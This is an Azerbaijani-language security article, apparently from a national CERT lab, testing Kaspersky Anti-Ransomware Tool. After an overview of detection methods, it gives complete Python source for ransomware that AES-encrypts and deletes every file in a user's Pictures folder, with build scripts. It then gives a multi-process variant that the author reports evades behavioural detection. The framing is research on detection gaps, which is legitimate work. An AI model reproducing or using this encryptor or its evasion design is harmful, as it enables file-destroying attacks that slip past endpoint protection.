Son zamanların ən populyar zərərverici tiplərinə nəzər yetirsək şübhəsiz ki, bunların arasında ilk sırada “ransomware” zərərvericiləri gəlir. Buna səbəb isə vurduqları ziyanın milyon dollarlar səviyyəsində ölçülməsidir. Böyük şirkətlər hələdə bu tip zərərvericilərə qarşı tam təhlükəsizlik mexanizmi yaratmağa nail olmayıblar. Artan ransomware təhdidlərinə qarşı təhlükəsizlik şirkətləridə müxtəlif aşkarlama metodları işləyib hazırlayırlar. Lakin burada vacib bir sual ortaya çıxır. Yaradılan ransomware aşkarlama metodları nə dərəcədə effektivdirlər? Bu məqalənin əsas mövzusu məhz bu suala cavab tapmaqdır.
Başlamazdan öncə onu qeyd etməliyəm ki, hədəf obyekti olaraq Kaspersky Anti-Ransomware Tool proqram təminatının seçilməsinin heç bir xüsusi səbəbi yoxdur və oxşar metodun digər təhlükəsizlik proqram təminatlarından yayınmaq şansları olduqca yüksəkdir.
Gəlin ilk öncə anti-virus proqram təminatlarının ransomware zərərvericilərini aşkarlamaq üçün hansı metodlardan istifadə etdiklərinə qısaca göz gəzdirək.
İmza əsaslı aşkarlama
Öncədən ransomware tipində zərərvericini aşkar etdikdən sonra bu zərərvericiyə aid imza yaradır və virus imza bazasına daxil edir. Sözü gedən imzanı daşıyan şübhəli fayla rast gəldikdə aşkarlama uğurla nəticələnir.
Statik axtarış mühhəriki ilə aşkarlama
Statik axtarış mühərriki ilə şübhəli fayl üzərində axtarış əməliyyatı həyata keçirilir. Burada 2 əsas metod istifadə edilir.
Kodlar “disassembly” edildikdən sonra üzərində axtarış əməliyyatı aparılır və bir neçə vacib suala cavab tapmağa çalışırlar.
- Şübhəli sistem qovluqlarını rekursiv olaraq gəzirmi?
- Gəzdiyi qovluqlarıda kritik fayl formatlarını (.txt, .pdf, .docx, .doc, .xls, .jpg və s.) oxuyurmu?
- Şifrələmə əməliyyatı icra etmək üçün hər hansısa funksiya çağrılır mı?
- 2. mərhələdə sözü gedən fayllar üzərindən yazma və silmə əməliyyatı icra edirmi?
Kodların emulyasiya metodu ilə aşkarlama
- Bu mərhələdə şübhəli fayla aid kodları emulyasiya edilərək hər hansı təhlükəli əməliyyat icra edib etməməsini test edir.
Real vaxt rejimində dinamik olaraq aşkarlama
Bu metod günümüzdə demək olar ən aktiv istifadə edilən aşkarlama metodikasıdır. İmzası olmayan zərərvericilər üçün ideal aşkarlama növü hesab edilir. Burada 2 əsas aşkarlama metodu mövcuddur.
- Sistemdə zərərverici üçün tələ qurulur. Tələ üçün hər hansı kritik fayl formatında məlumat saxlanılır. Əgər şübhəli bu məlumat üzərindən hər hansı şifrələmə və ya silmə əməliyyatı icra edərsə aşkarlanma baş verir. Oxşar bir metod bizim tərəfimizdən məqalə formasında yazılmışdır (link).
- Real vaxt rejimində bütün proseslər incələnir və bunların qeydiyyatları (fayl aktivlikləri və s.) aparılır. Əgər qeydiyyatı aparılan şübhəli bir çox kritik fayl formatı üzərində şübhəli əməliyyat icra edərsə aşkarlanma baş verir.
Bütün bu metodlar hər nə qədər zərərvericilərə qarşı qalxan rolunu oynasada bu məqalədə görəcəyiniz kimi 100% təhlükəsizlik mexanizmi yaratmaq hələdə mümkün deyil. Görəcəyiniz yayınma metodu Kaspersky-nin təqdim etdiyi alətdə olan boşluqdan qaynaqlanmır və bir çox anti-virus proqram təminatlarından yayınmaq üçün istifadə edilə bilər. Llavə olaraq məqalə-də göstərilənlər yalnız məlumat xarakteri daşıyır və pis məqsədlər üçün istifadə edilməsi cinayət əməlidir !
Kaspersky Anti-Ransomware Tool (bundan sonra KART) aləti real vaxt rejimində fəaliyyət göstərir və əsas məqsədi ransomware tipli zərərvericilərə qarşı mübarizə aparmaqdır.
Çox təəssüflər olsun ki, Kaspersky alətin işləməsi haqqında ətraflı məlumat vermir. Lakin önəmli bir faktı qeyd edir.
This lightweight ransomware protection tool uses all the features of cutting-edge Kaspersky endpoint protection technologies, such as cloud assisted behavior detection to block ransomware and crypto-malware immediately. It also includes ransomware scanner and acts as a complete solution for ransomware prevention.
And because it's GDPR ready, you can trust that your data is processed and protected responsibly.
Aləti sistemə quraşdırıb bütün yenilənmələri edirik. Pulsuz versiyası ilə ticari versiyası arasında ransomware protection mühərriki baxımından heç bir qısıtlama mövcud deyil. KART-ın effektivliyini yoxlamaq üçün sistemə internetdən endirdiyim bir ransomware nüsxəsini kopyaladım. P.S – Bu əməliyyatları bir neçə zərərverici fayl üzərindən təkrarladım və nəticlər eyni oldu. İlk olaraq manual axtarış metodu ilə sistemin axtarışını həyata keçirtdim. Nəticə:
Mühərrikin işlədiyinə əmin olduqdan sonra sınaqlara başlaya bilərik. Sınaq zamanı bizə aşağıdakılar lazım olacaq.
Python 3
CX_Freeze - tərkib kodumuzu icra edilə bilən fayla konvert etmək üçün
pycryptodome -hədəf fayl məlumatlarını şifrələmək üçün
Yayınma metodunun əsasını çoxlu proses üzərindən şifrələmə əməliyyatını icra etmək təşkil edir. Lakin ilk öncə bu əməliyyatı tək bir icra edilə bilən fayl üzərindən sınaqdan keçirdirik. Bunun səbəbi alətin “generic detection” mühərrikinin qabiliyyətlərini test etməkdir. Python dilində kod yazaraq skripti icra edilə bilən fayl formatına konvert edib işə salırıq. Sınaqların icra edildiyi sistem virtual mühit içərisində 32 bitlik Windows 10 əməliyyat sistemidir. Sınaq zamanı AES (Advanced Encryption Standard) şifrələmə alqoritmi istifadə ediləcək. Hədəf qovluq isə istifadəçinin rəsm fayllarının yerləşdiyi qovluqdur.
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import os
def encrypt(file):
key = hashlib.md5(b'mrl.cert.gov.az').digest()
cipher = AES.new(key, AES.MODE_CBC)
f = open(file,"rb")
data = f.read()
f.close()
crypted_data = cipher.encrypt(pad(data, AES.block_size))
new_file = file + ".enc"
f = open(new_file, "wb")
f.write(cipher.iv)
f.write(crypted_data)
f.close()
os.remove(file)
def main():
for root, dirs, files in os.walk(r"C:\Users\admin\Pictures"):
for file in files:
encrypt(os.path.join(root, file))
main()
CX_Freeze ilə tərkib kodunu icra edilə bilən fayl formatına konvert edirik və işə salırıq.
CX_Freeze setup.py:
import sys
from cx_Freeze import setup, Executable
setup(
executables=[Executable("ransomware.py", base=None)],
)
KART hazırladığımız ransomware-ni "generic detection" metodu ilə uğurla aşkarladı. Keçirik yayınma metoduna. Bu metoddan yayınmaq üçün çox prosesli şifrələyici ssenarisi KART-dan yayınmağımıza kömək edə bilər. Bunun üçün yuxarıdakı əməliyyatları təkrarlayan lakin sözü gedən əməliyyatları müxtəlif proseslər tərəfindən icra edəcək şəkildə iş bölgüsü yaratmalıyıq.
Şifrləmə əməliyyatı 4 fərqli proses tərəfindən icra ediləcək və iş bölgüsü aşağıda ki, şəkildə olacaqdır.
- A prosesi rəsm qovluğunu gəzərək içərisində olan faylların siyahısını götürür və komanda sətri üzərindən B prosesinə ötürür
- B prosesi A prosesindən gələn faylı oxuyur və AES ilə şifrələyir. Şifrələnmiş məlumat base64 ilə kodlaşdırılır və C prosesinə ötürülür
- C prosesi B prosesindən gələn base64 ilə kodlaşdırılmış məlumatı açaraq orijinal fayl adı + ".enc" uzantısı ilə yeni fayl yaradır və içərisinə şifrələnmiş məlumatı yazır. Daha sonra orijinal fayl adını D prosesinə ötürür.
- D prosesi C prosesindən gələn faylı os.remove əmri ilə sistemdən silir
Sözü gedən əməliyyatları icra edəcək kodlar:
import os
import subprocess
for root, dirs, files in os.walk(r"C:\Users\admin\Pictures"):
for file in files:
full_pathname = os.path.join(root, file)
p = subprocess.Popen(["c:\\ransom\\B\\B.exe", full_pathname])
p.wait()
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import base64
import sys
import os
import subprocess
filename = sys.argv[1]
f = open(filename, "rb")
data = f.read()
f.close()
key = hashlib.md5(b'mrl.cert.gov.az').digest()
cipher = AES.new(key, AES.MODE_CBC)
crypted_data = cipher.encrypt(pad(data, AES.block_size))
encoded = base64.b64encode(crypted_data).decode("utf8")
p = subprocess.Popen(["c:\\ransom\\C\\C.exe", filename, encoded])
p.wait()
import base64
import os
import sys
import subprocess
filename = sys.argv[1]
enc_data = sys.argv[2]
enc_filename = filename + ".enc"
f = open(enc_filename, 'wb')
e_data = base64.b64decode(enc_data.encode("utf-8"))
f.write(e_data)
f.close()
p = subprocess.Popen(["c:\\ransom\\D\\D.exe", filename])
p.wait()
import sys
import os
filename = sys.argv[1]
os.remove(filename)
import sys
from cx_Freeze import setup, Executable
setup(
name="ransomapp (mrl.cert.gov.az)",
version="1.0",
description="My Ransom application!",
executables=[Executable("(A,B,C,D).py", base="Win32Gui")],
)
Hər bir skripti setup.py build əmri ilə icra edilə bilən fayla konvert etdikdən sonra faylı işə salırıq. Nəticə olaraq KART ransomware əməliyyatını aşkar edə bilmir.
Sözü gedən əməliyyata aid video çarxı buradan izləyə bilərsiniz.